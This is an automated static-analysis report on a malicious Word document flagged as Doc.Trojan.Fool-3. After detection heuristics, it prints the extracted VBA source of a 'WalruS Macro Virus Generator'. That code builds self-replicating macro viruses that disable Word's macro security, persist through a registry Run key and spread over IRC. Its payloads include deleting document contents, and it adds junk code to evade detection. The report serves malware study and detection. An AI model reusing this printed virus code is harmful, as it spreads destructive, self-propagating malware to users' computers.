Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 af26b700e775f578…

MALICIOUS

Office (OLE)

466.5 KB Created: 2001-03-18 21:46:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: f888b50ae4e8f816fd691d9d4311f230 SHA-1: 4d29a71b8cb39ba16d8aa3501636b26c0c95d19b SHA-256: af26b700e775f578b2e6481d1da38b42e96cea547c4b214896cffd76cfbaced7
466 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

This document contains legacy WordBasic macro-virus markers and extensive VBA code, including AutoOpen, Document_Open, and AutoClose events, indicating a self-replicating and potentially destructive macro. The presence of WScript.Shell and CreateObject calls, along with a Shell() function, strongly suggests the execution of arbitrary commands or scripts. The script attempts to establish persistence by writing to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy, and it also references an embedded URL, http://www.WalruS.8k.com, which is likely used to download additional malicious content.

Heuristics 12

  • Raw OLE macro text shows self-replication or security tampering critical OLE_RAW_MACRO_SELF_REPLICATION
    OLE streams contain macro source text with auto-run entry points, CreateObject automation, CodeModule AddFromString/InsertLines/DeleteLines behavior, and Outlook or macro-security tampering. This is high-confidence macro-virus behavior even when oletools does not recover a standard VBA project.
  • ClamAV: Doc.Trojan.Fool-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Fool-3
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Print #1, "Options.BlueScreen = True"
    Print #1, "MyApp = Shell(""notepad.exe"", 1)"
    Print #1, "SendKeys ""Hello there!~~Im the WalruS. Welcome To My New Creation - Furio~~~///0-0\\\    WalruS 09/00"", True"
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Print #1, "Print #1, ""Dim WSHShell"""
    Print #1, "Print #1, ""Set WSHShell = WScript.CreateObject(""""WScript.Shell"""")"""
    Print #1, "Print #1, ""Set Backup = WScript.CreateObject(""""Word.Application"""")"""
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Print #1, "Print #1, ""Dim WSHShell"""
    Print #1, "Print #1, ""Set WSHShell = WScript.CreateObject(""""WScript.Shell"""")"""
    Print #1, "Print #1, ""Set Backup = WScript.CreateObject(""""Word.Application"""")"""
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
        Print #1, ""
    Print #1, "Sub AutoOpen()"
    Print #1, "'FoolsGold 2000 Virus vWMVG"
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    If OptionButton1.Value = True Then
    Print #1, "Private Sub Document_Open()"
End If
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    ' Best Clean The Template Before We Go
Sub AutoClose()
    On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.WalruS.8k.com� In document text (OLE body)
    • http://www.WalruS.8k.comIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 63490 bytes
SHA-256: c75f90dcb362f32766f218f80e1a6ff414dd2224eb9c921eff813b681433ce12
Detection
ClamAV: Win.Trojan.Nihilit-6
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "WMVG"
Attribute VB_Base = "0{5594AFFE-69AE-40C6-ADFC-D6B58CFC1B8F}{C06C6F37-2480-4CBE-AA2E-D8EF61A91B37}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False




' ************************************
' WalruS Macro Virus Generator (WMVG)
' Version 1.10
' By The WalruS 03/01
' ************************************

' Help Buttons
Private Sub CommandButton1_Click()
MsgBox "The Virus Will Infect When The Document Is Opened", vbInformation, "WMVG"
End Sub

Private Sub CommandButton10_Click()
MsgBox "The Virus Payload Will Be A Simple Message Box", vbInformation, "WMVG"
End Sub

Private Sub CommandButton11_Click()
MsgBox "The Virus Payload Will Be To Give Word Hiccups :-)", vbInformation, "WMVG"
End Sub

Private Sub CommandButton12_Click()
MsgBox "The Virus Payload Will Be To Open & Close The CD Tray Continously", vbInformation, "WMVG"
End Sub

Private Sub CommandButton13_Click()
MsgBox "The Virus Payload Will Change The Windows" & vbCr & "System Colours Until The PC Is Rebooted", vbInformation, "WMVG"
End Sub

Private Sub CommandButton14_Click()
MsgBox "The Virus Payload Will Delete The Document Being Viewed." & vbCr & Application.UserName & " Is An Evil Bastard ;-)", vbInformation, "WMVG"
End Sub

Private Sub CommandButton15_Click()
MsgBox "The Virus Payload Will Be To Make The Office Assistant Say A Message", vbInformation, "WMVG"
End Sub

Private Sub CommandButton17_Click()
OptionButton15.Value = True
WMVG.Hide
WMVGPayloadAssistant.Show
End Sub

Private Sub CommandButton19_Click()
OptionButton10.Value = True
WMVG.Hide
WMVGPayloadMsg.Show
End Sub

Private Sub CommandButton2_Click()
MsgBox "The Virus Will Infect When The Document Is Closed", vbInformation, "WMVG"
End Sub

Private Sub CommandButton32_Click()
MsgBox "The Virus Will Be Able To Spread On IRC As A Worm", vbInformation, "WMVG"
End Sub

Private Sub CommandButton33_Click()
MsgBox "The Virus Wont Be Able To Spread On IRC!", vbInformation, "WMVG"
End Sub

Private Sub CommandButton48_Click()
MsgBox "The Virus Will Be Backed Up On Reboot" & vbCr & "Therefore Making It Harder To Get Rid Off", vbInformation, "WMVG"
End Sub

Private Sub CommandButton49_Click()
MsgBox "The Virus Wont Have VBS Backup!", vbInformation, "WMVG"
End Sub

Private Sub CommandButton5_Click()
MsgBox "The Virus Wont Have Any Stealth", vbInformation, "WMVG"
End Sub

Private Sub CommandButton6_Click()
MsgBox "The Virus Will Have Limited Stealth" & vbCr & "It Will Disable Alt-F11 Key Presses", vbInformation, "WMVG"
End Sub

Private Sub CommandButton62_Click()
MsgBox "The Payload Runs On A Date Set By You", vbInformation, "WMVG"
End Sub

Private Sub CommandButton63_Click()
MsgBox "The Payload Runs At Random", vbInformation, "WMVG"
End Sub

Private Sub CommandButton65_Click()
MsgBox "The Payload Runs Everytime The Documents Infection Hook Is Run", vbInformation, "WMVG"
End Sub

Private Sub CommandButton72_Click()
OptionButton58.Value = True
WMVG.Hide
WMVGPayloadDate.Show
End Sub

Private Sub CommandButton73_Click()
WMVG.Hide
WMVGExit.Show
End Sub

Private Sub CommandButton74_Click()
WMVG.Hide
WMVGAbout.Show
End Sub

Private Sub CommandButton75_Click()
' Extras
WMVG.Hide
WMVGExtras.Show
End Sub

Private Sub CommandButton76_Click()
' Generate
Call GenerateClassVirus
End Sub

Private Sub CommandButton77_Click()
MsgBox "The Virus Copies Its Code Directly Using String Copy", vbInformation, "WMVG"
End Sub

Private Sub CommandButton78_Click()
MsgBox "The Virus Copies Its Code To A File And Infects From There", vbInformation, "WMVG"
End Sub

Private Sub CommandButton79_Click()
OptionButton59.Value = True
WMVG.Hide
WMVGPayloadRandom.Show
End Sub

Private Sub CommandButton80_Click()
MsgBox "Enter Your Own Payload Code", vbInformation, "WMVG"
End Sub

Private Sub CommandButton81_Click()
OptionButton67.Value = True
WMVG.Hide
WMVGPayloadPlugin.Show
End Sub

Private Sub CommandButton82_Click()
MsgBox "The Virus Will Have Random Noise Added To It" & vbCr & "This Will Make The Virus More Unique And Harder To Detect", vbInformation, "WMVG"
End Sub

Private Sub CommandButton83_Click()
MsgBox "The Source Code Will Be Generated In" & vbCr & "C:\My Documents", vbInformation, "WMVG"
End Sub

Private Sub CommandButton9_Click()
MsgBox "The Virus Wont Have A Payload", vbInformation, "WMVG"
End Sub

Private Sub OptionButton77_Click()
MsgBox "The Virus Will Have Visual Basic Script Backup On Reboot", vbInformation, "WMVG"
End Sub

Private Sub OptionButton78_Click()
MsgBox "The Virus Wont Have VBS Backup", vbInformation, "WMVG"
End Sub

Private Sub TextBox1_Change()

End Sub

Private Sub GenerateClassVirus()

' Generate The Variables
Call WallysVariableNameGenerator(Variable1, Variable2, Variable3, Variable4, Variable5, Variable6)


' Check Infect On For Error
If OptionButton1.Value = OptionButton2.Value Then
    MsgBox "Please Select An Infection Method", vbInformation, "Doh!"
    GoTo EndSub
End If

' Check Infection Type For Error
If OptionButton65.Value = OptionButton66.Value Then
    MsgBox "Please Select The Infection Method", vbInformation, "One Or The Other"
    GoTo EndSub
End If

' Make Sure Stealth Is Not Flagged
If OptionButton5.Value Or OptionButton6.Value = True Then
    Stealth = "Good"
End If

' Check Stealth For Error
If Stealth = "Error" Then
    MsgBox "Please Select The Stealth Level", vbInformation, "Doh!"
    GoTo EndSub
End If

' Check Infect IRC For Error
If OptionButton28.Value = OptionButton29.Value Then
    MsgBox "Please State If IRC Spreading Is Required", vbInformation, "Wake Up!"
    GoTo EndSub
End If

' Check VBS Backup For Error
If OptionButton44.Value = OptionButton45.Value Then
    MsgBox "Please State If VBS Backup Is Required", vbInformation, "You A Script Kiddie?"
    GoTo EndSub
End If

' Virus Author
VirusAuthor = TextBox1.Text

' Check Virus Author For Error
If TextBox1 = "" Then
    MsgBox "Please Enter Virus Authors Name", vbInformation, "Dont Ya Know Yer Name!"
    GoTo EndSub
End If

' Virus Name
VirusName = TextBox2.Text

' Check Virus Name For Error
If TextBox2.Text = "" Then
    MsgBox "Please Enter The Virus Name", vbInformation, "Christen It Then!"
    GoTo EndSub
End If

' Virus Payload
If OptionButton9.Value = True Then
    Payload = False
    PayloadTrigger = False
    OptionButton58.Value = False
    OptionButton59.Value = False
    OptionButton60.Value = False
End If

If OptionButton10.Value Or OptionButton11.Value Or OptionButton12.Value Or OptionButton13.Value Or OptionButton14.Value Or OptionButton15.Value Or OptionButton67.Value = True Then Payload = True

' Check Payload For Error
If Payload = Error Then
    MsgBox "Please Select Whether A Payload Is Required Or Not", vbInformation, "Get With It"
    GoTo EndSub
End If

' Payload Trigger
If OptionButton58.Value Or OptionButton59.Value Or OptionButton60.Value = True Then PayloadTrigger = True

' Check Payload Trigger For Error
If Payload = True And PayloadTrigger = False Then
    MsgBox "Please Select A Payload Trigger Or Select No Payload", vbInformation, "Make Yer Mind Up"
    GoTo EndSub
End If

' Check To Ensure Month Is Entered If Date Has Been Selected
If OptionButton58.Value = True And PayloadMonth = 0 Then
    MsgBox "Please Select A Valid Month Or Select Another Trigger", vbInformation, "Idiot"
    GoTo EndSub
End If

' Check To Ensure Day Is Entered If Date Has Been Selected
If OptionButton58.Value = True And PayloadDay = 0 Then
    MsgBox "Please Select A Valid Day Or Select Another Trigger", vbInformation, "Idiot"
    GoTo EndSub
End If

' Check Random No Has Been Entered If Random Has Been Selected
If OptionButton59.Value = True And RandomTrigger = 0 Then
    MsgBox "Please Select A Random Number For The Random Payload", vbInformation, "Random Insult Required"
    GoTo EndSub
End If

' Check Message Has Been Entered If Message Payload Has Been Selected
If OptionButton10.Value = True And PayloadMsgText = "" Then
    MsgBox "Please Enter A Message Or Select A Different Payload", vbInformation, "Message Required"
    GoTo EndSub
End If

' Check Message Type Has Been Entered If Message Payload Has Been Selected
If OptionButton10.Value = True And PayloadMsgType = "Error" Then
    MsgBox "Please Enter A Message Type Or Select A Different Payload", vbInformation, "Message Required"
    GoTo EndSub
End If

' Check That Payload Plug Has Been Entered
If OptionButton67.Value = True And PayloadPlugin = "Error" Then
    MsgBox "Please Enter The Code For The Plugin Payload", vbInformation, "Plugin In Code Required"
    GoTo EndSub
End If

' Check That Assistants Message Has Been Entered
If OptionButton15.Value = True And PayloadAssistantMessage = "" Then
    MsgBox "Please Enter The Assistants Message Or Select A Different Payload", vbInformation, "Paperclips Words Please"
    GoTo EndSub
End If

' Check For Virus Of Same Name
Exists = Dir(Options.DefaultFilePath(wdDocumentsPath) & "\" & VirusName & ".cls")
If Exists <> "" Then
    MsgBox VirusName & " Already Exists" & vbCr & "Please Select Another Name Or Delete" & vbCr & "C:\My Documents\" & VirusName, vbExclamation, "WMVG"
    GoTo EndSub
End If


' Open source file for construction
Open Options.DefaultFilePath(wdDocumentsPath) & "\" & VirusName & ".cls" For Append As #1

    ' Marker
    Print #1, "'" ' Marker
    
    ' CD Tray Payload Declare
If Payload = True And OptionButton11.Value = True Then
    Print #1, "Private Declare Function mciSendString Lib ""winmm.dll"" Alias ""mciSendStringA"" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long"
End If

    ' Colours Payload Declare
If Payload = True And OptionButton13.Value = True Then
    Print #1, "Private Declare Function SetSysColors Lib ""user32"" (ByVal nChanges As Long, lpSysColor As Long, lpColorValues As Long) As Long"
End If

    ' Infection Hook 1 (Open)
If OptionButton1.Value = True Then
    Print #1, "Private Sub Document_Open()"
End If

    ' Infection Hook 2 (Close)
If OptionButton2.Value = True Then
    Print #1, "Private Sub Document_Close()"
End If

    Call MacroNoiseEngine ' Noise
    
    ' Error Handler
    Print #1, "On Error Resume Next"
    Print #1, ""
        
    ' Virus Details
    Print #1, "' Virus Name : " & VirusName
    Print #1, "' VirusAuthor : " & VirusAuthor
    Print #1, "' Comments : " & TextBox3.Text
    Print #1, "' Date : " & Day(Now) & "/" & Month(Now) & "/" & Year(Now)
    Print #1, ""
    Print #1, "' A Virus Created By The WalruS Macro Virus Generator v1.00 (WMVG)"
    Print #1, ""
    
    Call MacroNoiseEngine ' Noise
    
    ' Word Options
    Print #1, "With Options"
    Print #1, "     .VirusProtection = 0"
    Print #1, "     .SaveNormalPrompt = 0"
    Print #1, "     .ConfirmConversions = 0"
    Print #1, "End With"
    
    Call MacroNoiseEngine ' Noise
    Call MacroNoiseEngine ' Noise
    
    Print #1, "Application.DisplayStatusBar = False"
    
    Call MacroNoiseEngine ' Noise
    
    Print #1, "ActiveDocument.ReadOnlyRecommended = False"
    
    Call MacroNoiseEngine ' Noise
    
    Print #1, "System.PrivateProfileString("""", ""HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"", ""Level"") = 1&"
    
    Call MacroNoiseEngine ' Noise
    Call MacroNoiseEngine ' Noise
        
    Print #1, " CommandBars(""Macro"").Controls(""Security..."").Enabled = False"
    
    Call MacroNoiseEngine ' Noise
    
    ' Stealth Settings
If OptionButton6.Value = True Then
    Print #1, "KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF11), KeyCategory:=0, Command:="" """
End If

    Call MacroNoiseEngine ' Noise
    
    Print #1, "Set " & Variable1 & " = NormalTemplate.VBProject.VBComponents(1).codemodule"
    
    Call MacroNoiseEngine ' Noise
    Call MacroNoiseEngine ' Noise
    Call MacroNoiseEngine ' Noise
    
    Print #1, "Set " & Variable2 & " = ActiveDocument.VBProject.VBComponents(1).codemodule"
    
    ' Infection Routine No 1 (More To Be Added) Variable1 = nor Variable2 = doc
If OptionButton65.Value = True Then
    Print #1, "If " & Variable1 & ".Lines(1, 1) <> ""'"" Then"
    Call MacroNoiseEngine ' Noise
    Print #1, Variable1 & ".DeleteLines 1, " & Variable1 & ".CountOfLines"
    Call MacroNoiseEngine ' Noise
    Print #1, Variable1 & ".InsertLines 1, " & Variable2 & ".Lines(1, " & Variable2 & ".CountOfLines)"
    Call MacroNoiseEngine ' Noise
    Call MacroNoiseEngine ' Noise
    Print #1, "ElseIf " & Variable2 & ".Lines(1, 1) <> ""'"" Then"
    Call MacroNoiseEngine ' Noise
    Print #1, Variable2 & ".DeleteLines 1, " & Variable2 & ".CountOfLines"
    Call MacroNoiseEngine ' Noise
    Print #1, Variable2 & ".InsertLines 1, " & Variable1 & ".Lines(1, " & Variable1 & ".CountOfLines)"
    Call MacroNoiseEngine ' Noise
    Print #1, "ActiveDocument.Save"
    Call MacroNoiseEngine ' Noise
    Print #1, "End If"
    Call MacroNoiseEngine ' Noise
End If
    
    ' Infection Routine No 2 (More To Be Added) Variable1 = nor Variable2 = doc
If OptionButton66.Value = True Then
    Print #1, "Open ""C:\Windows\"" & Application.Username & "".sys"" For Output As #1"
    Call MacroNoiseEngine ' Noise
    Print #1, "Print #1, VBProject.VBComponents(1).codemodule.Lines(1, 150)"
    Call MacroNoiseEngine ' Noise
    Call MacroNoiseEngine ' Noise
    Print #1, "Close #1"
    Print #1, "If " & Variable1 & ".Lines(1, 1) <> ""'"" Then"
    Call MacroNoiseEngine ' Noise
    Print #1, Variable1 & ".DeleteLines 1, " & Variable1 & ".CountOfLines"
    Call MacroNoiseEngine ' Noise
    Print #1, Variable1 & ".AddFromFile (""C:\Windows\"" & Application.Username & "".sys"")"
    Print #1, "NormalTemplate.Save"
    Print #1, "ElseIf " & Variable2 & ".Lines(1, 1) <> ""'"" Then"
    Call MacroNoiseEngine ' Noise
    Call MacroNoiseEngine ' Noise
    Print #1, Variable2 & ".DeleteLines 1, " & Variable2 & ".CountOfLines"
    Print #1, Variable2 & ".AddFromFile (""C:\Windows\"" & Application.Username & "".sys"")"
    Print #1, "ActiveDocument.Save"
    Print #1, "End If"
End If
      
    ' WallyS Lamer Detector
    Print #1, "Set " & Variable3 & " = " & Variable4
      
    ' Infect IRC
If OptionButton28.Value = True Then
    Call MacroNoiseEngine ' Noise
    Print #1, "If System.PrivateProfileString("""", ""HKEY_LOCAL_MACHINE\Software\WalruS\WMVG"", ""Installed"") <> ""True"" Then"
    Call MacroNoiseEngine ' Noise
    Print #1, "exists = Dir(""c:\mirc\mirc32.exe"")"
    Print #1, "If exists = """" Then"
    Call MacroNoiseEngine ' Noise
    Print #1, "Exit Sub"
    Print #1, "Else"
    Call MacroNoiseEngine ' Noise
    Call MacroNoiseEngine ' Noise
    Print #1, "dropped = Dir(""c:\mirc\download\ReadMe.doc"")"
    Print #1, "If dropped = """" Then ActiveDocument.SaveAs ""c:\mirc\download\ReadMe.doc"""
    Call MacroNoiseEngine ' Noise
    Print #1, "Kill ""c:\mirc\script.ini"""
    Print #1, "Open ""c:\mirc\script.ini"" For Output As #1"
    Print #1, "Print #1, ""[script]"""
    Print #1, "Print #1, ""n0=on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick c:\mirc\download\ReadMe.doc }"""
    Print #1, "Print #1, ""n1=on 1:CONNECT: {"""
    Print #1, "Print #1, ""n2=  /join #virus """
    Print #1, "Print #1, ""n3=  /msg #virus Im Infected With A Virus Created By WMVG"""
    Print #1, "Print #1, ""n4= /part #virus"""
    Print #1, "Print #1, ""n5= /clear"""
    Print #1, "Print #1, ""n6= /motd"""
    Print #1, "Print #1, ""n7= }"""
    Print #1, "Close #1"
    Print #1, "End If"
    Call MacroNoiseEngine ' Noise
    Print #1, "End If"
End If

' VBS Backup
If OptionButton44.Value = True Then
    Print #1, "If System.PrivateProfileString("""", ""HKEY_LOCAL_MACHINE\Software\WalruS\WMVG"", ""Installed"") <> ""True"" Then"
    Call MacroNoiseEngine ' Noise
    Print #1, "Open ""C:\Windows\Backup.drv"" For Output As #1"
    Print #1, "Print #1, VBProject.VBComponents(1).CodeModule.Lines(1, 100)"
    Print #1, "Close #1"
    Print #1, "System.PrivateProfileString("""", ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"", ""WMVG"") = ""C:\Windows\Backup.vbs"""
    Print #1, "Open ""C:\Windows\Backup.vbs"" For Output As #1"
    Print #1, "Print #1, ""' Backup.vbs for WMVG by The WalruS"""
    Print #1, "Print #1, ""On Error Resume Next"""
    Call MacroNoiseEngine ' Noise
    Call MacroNoiseEngine ' Noise
    Print #1, "Print #1, ""Dim WSHShell"""
    Print #1, "Print #1, ""Set WSHShell = WScript.CreateObject(""""WScript.Shell"""")"""
    Print #1, "Print #1, ""Set Backup = WScript.CreateObject(""""Word.Application"""")"""
    Print #1, "Print #1, ""Backup.Options.VirusProtection = False"""
    Print #1, "Print #1, ""Backup.Options.SaveNormalPrompt = False"""
    Call MacroNoiseEngine ' Noise
    Print #1, "Print #1, ""For x = 1 To Backup.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines"""
    Print #1, "Print #1, ""Backup.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1"""
    Print #1, "Print #1, ""Next"""
    Print #1, "Print #1, ""Backup.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromFile (""""C:\Windows\Backup.drv"""")"""
    Call MacroNoiseEngine ' Noise
    Print #1, "Print #1, ""Backup.Application.Quit"""
    Print #1, "Close #1"
    Print #1, "End If"
End If

' Payload PayloadDay = Every Day
If OptionButton58.Value = True And PayloadDay = 99 Then
    Call MacroNoiseEngine ' Noise
    Print #1, "If Month(Now) = " & PayloadMonth & " Then Call " & Variable6
    Call MacroNoiseEngine ' Noise
    Call MacroNoiseEngine ' Noise
End If

' Payload PayloadMonth = Every Month
If OptionButton58.Value = True And PayloadMonth = 99 Then
    Call MacroNoiseEngine ' Noise
    Print #1, "If Day(Now) = " & PayloadDay & " Then Call " & Variable6
    Call MacroNoiseEngine ' Noise
    Call MacroNoiseEngine ' Noise
End If

' Payload Trigger 1 (Date)
If OptionButton58.Value = True And PayloadMonth <> 99 And PayloadDay <> 99 Then
    Call MacroNoiseEngine ' Noise
    Print #1, "If Month(Now) = " & PayloadMonth & " And Day(Now) = " & PayloadDay & " Then Call " & Variable6
    Call MacroNoiseEngine ' Noise
    Call MacroNoiseEngine ' Noise
End If

' Payload Trigger 2 (Random)
If OptionButton59.Value = True Then
    Call MacroNoiseEngine ' Noise
    Print #1, "Trigger = Int(Rnd * " & RandomTrigger & ")"
    Call MacroNoiseEngine ' Noise
    Print #1, "If Trigger = 3 Then Call " & Variable6
    Call MacroNoiseEngine ' Noise
    Call MacroNoiseEngine ' Noise
End If

' Payload Trigger 3 (Every Run)
If OptionButton60.Value = True Then
    Call MacroNoiseEngine ' Noise
    Print #1, "Call " & Variable6
    Call MacroNoiseEngine ' Noise
End If

    Print #1, "End Sub"
    
' Payload
If Payload = True Then
    Print #1, "Private Sub " & Variable6 & " ()"
    Call MacroNoiseEngine ' Noise
    Print #1, "On Error Resume Next"
End If

' Payload 1 (Message Box)
If OptionButton10.Value = True Then
    Call MacroNoiseEngine ' Noise
    Print #1, "MsgBox """ & PayloadMsgText & """" & ", " & PayloadMsgType & ", " & """" & VirusName & """"
End If

' Payload 2 (CD Tray)
If OptionButton11.Value = True Then
    Call MacroNoiseEngine ' Noise
    Print #1, "Do"
    Call MacroNoiseEngine ' Noise
    Call MacroNoiseEngine ' Noise
    Print #1, "mciSendString ""set cd door open"", 0, 0, 0: mciSendString ""set cd door closed"", 0, 0, 0: mciSendString ""set cd time format tmsf wait"", 0, 0, 0: mciSendString ""open cdaudio alias cd wait shareable"", 0, 0, 0"
    Call MacroNoiseEngine ' Noise
    Print #1, "Loop"
End If

' Payload 3 (Colours)
If OptionButton13.Value = True Then
    Call MacroNoiseEngine ' Noise
    Print #1, "a = SetSysColors(1, 1, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 2, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 3, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 4, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 5, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 6, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 7, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 8, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 9, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 10, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 11, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 12, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 13, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 14, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 15, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 16, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 17, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 18, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 19, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 20, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 21, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 22, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 23, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 24, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 25, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 26, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Print #1, "a = SetSysColors(1, 27, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
    Call MacroNoiseEngine ' Noise
End If

' Payload 4 (Hiccups)
If OptionButton12.Value = True Then
    Call MacroNoiseEngine ' Noise
    Print #1, "Do"
    Print #1, "DoEvents"
    Call MacroNoiseEngine ' Noise
    Print #1, "Randomize"
    Call MacroNoiseEngine ' Noise
    Print #1, "If Int(Rnd * 10000) = 2 Then"
    Call MacroNoiseEngine ' Noise
    Call MacroNoiseEngine ' Noise
    Print #1, "Word.ActiveDocument.ActiveWindow.WindowState = wdWindowStateMinimize"
    Call MacroNoiseEngine ' Noise
    Print #1, "Word.ActiveDocument.ActiveWindow.WindowState = wdWindowStateMaximize"
    Call MacroNoiseEngine ' Noise
    Print #1, "End If"
    Print #1, "Loop"
End If

' Payload 5 (KillDoc)
If OptionButton14.Value = True Then
    Call MacroNoiseEngine ' Noise
    Print #1, "Selection.WholeStory"
    Call MacroNoiseEngine ' Noise
    Print #1, "Selection.Delete Unit:=wdCharacter, Count:=1"
    Call MacroNoiseEngine ' Noise
    Call MacroNoiseEngine ' Noise
    Print #1, "ActiveDocument.Save"
End If

' Payload 6 (Assistant)
If OptionButton15.Value = True Then
    Print #1, "Assistant.Visible = True"
    Call MacroNoiseEngine ' Noise
    Print #1, "With Assistant.NewBalloon"
    Print #1, ".Icon = msoIconAlert"
    Call MacroNoiseEngine ' Noise
    Print #1, ".Text = """ & PayloadAssistantMessage & """"
    Print #1, ".Heading = """ & VirusName & """"
    Call MacroNoiseEngine ' Noise
    Print #1, ".Show"
    Print #1, "End With"
End If


' Payload 7 (Plugin)
If OptionButton67.Value = True Then
    Call MacroNoiseEngine ' Noise
    Call MacroNoiseEngine ' Noise
    Print #1, PayloadPlugin
    Call MacroNoiseEngine ' Noise
End If

' Payload
If Payload = True Then
    Print #1, "End Sub"
End If

    Close #1
        
' Open document and then infect it, save it and close it
    Documents.Add Template:=NormalTemplate.FullName, NewTemplate:=False
    ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromFile (Options.DefaultFilePath(wdDocumentsPath) & "\" & VirusName & ".cls")
    ActiveDocument.SaveAs (Options.DefaultFilePath(wdDocumentsPath) & "\" & VirusName & ".doc")
    ActiveDocument.Close

' Keep the source code?
If CheckBox1.Value = False Then
    Kill Options.DefaultFilePath(wdDocumentsPath) & "\" & VirusName & ".cls"
End If

' Clean the normal template incase virus infected it
    Clean = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    If Clean > 0 Then NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, Clean
    NormalTemplate.Save

' Hide this form
    WMVG.Hide

' Tell the user that the vxs is made
    MsgBox VirusName & " Has Been Created In " & Options.DefaultFilePath(wdDocumentsPath), vbInformation, "Heya " & Application.UserName & "..."
    
' Show Virus Created Form
    WMVGVirusCreated.Show

EndSub:
End Sub

' My Variable Name Generator
Private Sub WallysVariableNameGenerator(Variable1, Variable2, Variable3, Variable4, Variable5, Variable6)
    Randomize
